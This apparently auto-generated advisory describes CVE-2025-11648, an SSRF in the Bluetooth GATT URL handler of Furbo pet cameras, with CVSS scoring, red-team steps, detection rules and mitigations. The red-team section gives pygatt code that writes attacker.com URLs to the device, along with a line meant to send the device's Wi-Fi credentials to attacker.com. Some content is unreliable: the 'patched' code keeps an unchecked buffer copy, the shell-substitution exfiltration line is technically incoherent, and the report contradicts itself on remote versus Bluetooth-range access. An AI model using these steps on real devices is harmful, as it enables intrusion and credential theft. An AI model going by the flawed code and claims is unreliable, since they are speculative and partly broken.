CVE-2025-11648

Executive Summary

CVE-2025-11648 is a Server-Side Request Forgery (SSRF) vulnerability discovered in the Tomofun Furbo 360 and Furbo Mini pet cameras. The flaw resides in the GATT (Generic Attribute Profile) Interface URL Handler, specifically within the TF_FQDN.json file. An attacker can manipulate this handler to force the device to make arbitrary HTTP requests from its internal network, potentially leading to data exfiltration, internal network scanning, or pivoting to other devices. The attack is remotely exploitable but is considered highly complex due to the need for precise timing and knowledge of the GATT interface. The vendor has not responded to disclosure attempts, and no patch is currently available.

Supply Chain & Package Security

This vulnerability is not related to a software package manager (NPM, PyPI, Go, Ruby). It affects embedded firmware on IoT devices. The supply chain risk is limited to the device's firmware update mechanism, which could be abused if the SSRF is used to fetch malicious firmware from an attacker-controlled server.

CVSS Breakdown & Threat Level

CVSS Score: 5.6 (Medium)

Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L

• Attack Vector (AV): Network (N) – The attack can be launched remotely over the network.
• Attack Complexity (AC): High (H) – The attack requires specific conditions, such as being within Bluetooth range or having knowledge of the GATT interface, and the exploit is difficult to execute reliably.
• Privileges Required (PR): None (N) – No authentication is needed to trigger the vulnerability.
• User Interaction (UI): None (N) – The victim does not need to perform any action.
• Scope (S): Unchanged (U) – The vulnerable component and the affected resource are within the same security authority.
• Confidentiality (C): Low (L) – Limited data exposure is possible.
• Integrity (I): Low (L) – Limited ability to modify data or system state.
• Availability (A): Low (L) – Limited impact on device availability.

Threat Level: Medium. The high attack complexity reduces the immediate risk, but the lack of a patch and the potential for internal network reconnaissance make this a significant concern for deployed devices.

Deep Dive & Mechanics

The vulnerability is located in the GATT interface of the Furbo devices. GATT is a Bluetooth Low Energy (BLE) profile used for communication between the device and a mobile app. The TF_FQDN.json file is used to store and manage Fully Qualified Domain Names (FQDNs) for the device's network operations.

Root Cause: The URL handler within the GATT interface does not properly validate or sanitize user-supplied URLs before making HTTP requests. An attacker can craft a malicious BLE packet that modifies the TF_FQDN.json file or directly triggers a request to an arbitrary URL.

Attack Flow:

1. Reconnaissance: The attacker identifies a vulnerable Furbo device (e.g., via Shodan or by being within BLE range).
2. BLE Connection: The attacker establishes a BLE connection to the device. This may require bypassing pairing or using a known vulnerability in the BLE stack.
3. GATT Manipulation: The attacker writes a malicious payload to the GATT characteristic associated with the URL handler. This payload contains a URL pointing to an attacker-controlled server (e.g., http://attacker.com/steal).
4. SSRF Trigger: The device processes the malicious URL and makes an HTTP request to the attacker's server.
5. Exploitation: The attacker can use this SSRF to:
   • Scan internal network services (e.g., 192.168.1.1:80).
   • Exfiltrate sensitive data (e.g., Wi-Fi credentials stored on the device).
   • Fetch malicious firmware or configuration files.
   • Pivot to other devices on the local network.

Why High Complexity: The attack requires:

• Proximity to the device (BLE range ~10m) or a way to inject BLE packets remotely.
• Knowledge of the specific GATT service and characteristic UUIDs.
• The device must be in a discoverable or connectable state.
• The attacker must bypass any BLE security measures (e.g., pairing).

Vulnerable vs. Patched Code

No patched code is available. The vulnerable code is in the firmware's GATT handler. A hypothetical fix would involve:

Vulnerable Code (Conceptual):

// GATT URL Handler
void handle_url_write(uint8_t *data, uint16_t len) {
    char url[256];
    memcpy(url, data, len);
    url[len] = '\0';
    // No validation - directly makes request
    http_get(url);
}

Patched Code (Conceptual):

// GATT URL Handler with validation
void handle_url_write(uint8_t *data, uint16_t len) {
    char url[256];
    memcpy(url, data, len);
    url[len] = '\0';
    
    // Validate URL
    if (!is_valid_url(url)) {
        return; // Reject invalid URLs
    }
    
    // Whitelist allowed domains
    if (!is_allowed_domain(url)) {
        return; // Reject non-whitelisted domains
    }
    
    http_get(url);
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable Furbo 360 or Mini device (firmware <= FB0035_FW_036 or MC0020_FW_074).
• A computer with Bluetooth 4.0+ and a BLE library (e.g., bluepy on Linux, pygatt).
• A server to receive the SSRF request (e.g., a simple HTTP server).

Exploitation Steps:

1. Discover the device:

   sudo hcitool lescan
   

   Look for devices named "Furbo" or similar.

2. Connect and enumerate GATT services:

   import pygatt
   adapter = pygatt.GATTToolBackend()
   adapter.start()
   device = adapter.connect('XX:XX:XX:XX:XX:XX')
   for uuid in device.discover_characteristics():
       print(uuid)
   

3. Identify the URL handler characteristic (likely a custom UUID, e.g., 0000xxxx-0000-1000-8000-00805f9b34fb).

4. Write malicious URL:

   # Replace with actual characteristic UUID
   url_char_uuid = "0000xxxx-0000-1000-8000-00805f9b34fb"
   malicious_url = "http://attacker.com/ssrf_test"
   device.char_write(url_char_uuid, bytearray(malicious_url, 'utf-8'))
   

5. Observe the request on your server:

   nc -lvnp 80
   

Advanced Exploitation:

• Use the SSRF to access internal services:

  malicious_url = "http://192.168.1.1/admin"
  

• Attempt to exfiltrate Wi-Fi credentials:

  malicious_url = "http://attacker.com/steal?data=$(cat /config/wifi.conf)"
  

Blue Team (Defensive)

Detection:

• Monitor BLE connections to Furbo devices. Unexpected connections from unknown MAC addresses are suspicious.
• Log all HTTP requests made by the device. Look for requests to unknown or internal IP addresses.
• Use network segmentation to limit the device's ability to reach internal resources.

Honeypot:

• Set up a fake internal service (e.g., a web server on 192.168.1.100) and monitor for connections from the Furbo device.

Mitigation:

• Disable BLE when not in use (if possible).
• Apply network-level controls (e.g., firewall rules) to block outbound connections from the device to unknown destinations.
• Monitor for firmware updates from Tomofun.

Indicators of Compromise (IOCs)

Network IOCs:

• Outbound HTTP requests from the Furbo device to unknown external IP addresses.
• DNS queries for suspicious domains from the device.
• BLE connection attempts from unknown MAC addresses.

File IOCs:

• Modified TF_FQDN.json file containing unexpected URLs.
• Unusual entries in device logs (e.g., failed connection attempts to internal IPs).

Behavioral IOCs:

• Device making requests to internal IP ranges (e.g., 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16).
• Device connecting to attacker-controlled servers.

Detection Engineering

YARA Rule

rule CVE_2025_11648_SSRF_Furbo {
    meta:
        description = "Detects SSRF exploitation attempts on Tomofun Furbo devices via GATT URL handler"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-11648"
    strings:
        $url_pattern = /http:\/\/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/  // Internal IP in URL
        $gatt_write = { 0x12 0x?? 0x?? 0x?? 0x?? }  // GATT write command (example)
    condition:
        $url_pattern or $gatt_write
}

Sigma Rule

title: CVE-2025-11648 SSRF Exploitation Attempt on Furbo Device
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects outbound HTTP requests from Furbo devices to internal IP addresses, indicating SSRF exploitation.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-11648
logsource:
    category: network_connection
    product: zeek
detection:
    selection:
        dest_ip:
            - '10.0.0.0/8'
            - '172.16.0.0/12'
            - '192.168.0.0/16'
        source_ip: 
            - '192.168.1.0/24'  # Adjust to your Furbo's subnet
    condition: selection
falsepositives:
    - Legitimate device management traffic to internal servers (if configured)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-11648 SSRF Exploitation Attempt - Furbo Device"; flow:to_server; content:"GET"; http_method; content:"Host"; http_header; pcre:"/^Host: [0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Network Segmentation: Place Furbo devices on a separate VLAN with strict egress filtering. Block all outbound connections except to necessary update servers.
2. Disable BLE: If the device allows, disable Bluetooth when not actively using the mobile app.
3. Monitor: Implement logging and alerting for unusual HTTP requests from the device.

Long-Term Fix:

• Vendor Patch: Await an official firmware update from Tomofun. Contact the vendor again if possible.
• Manual Workaround: If you have access to the device's firmware, consider modifying the GATT handler to validate URLs (not recommended for non-experts).
• Device Replacement: If no patch is forthcoming, consider replacing the device with a more secure alternative.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.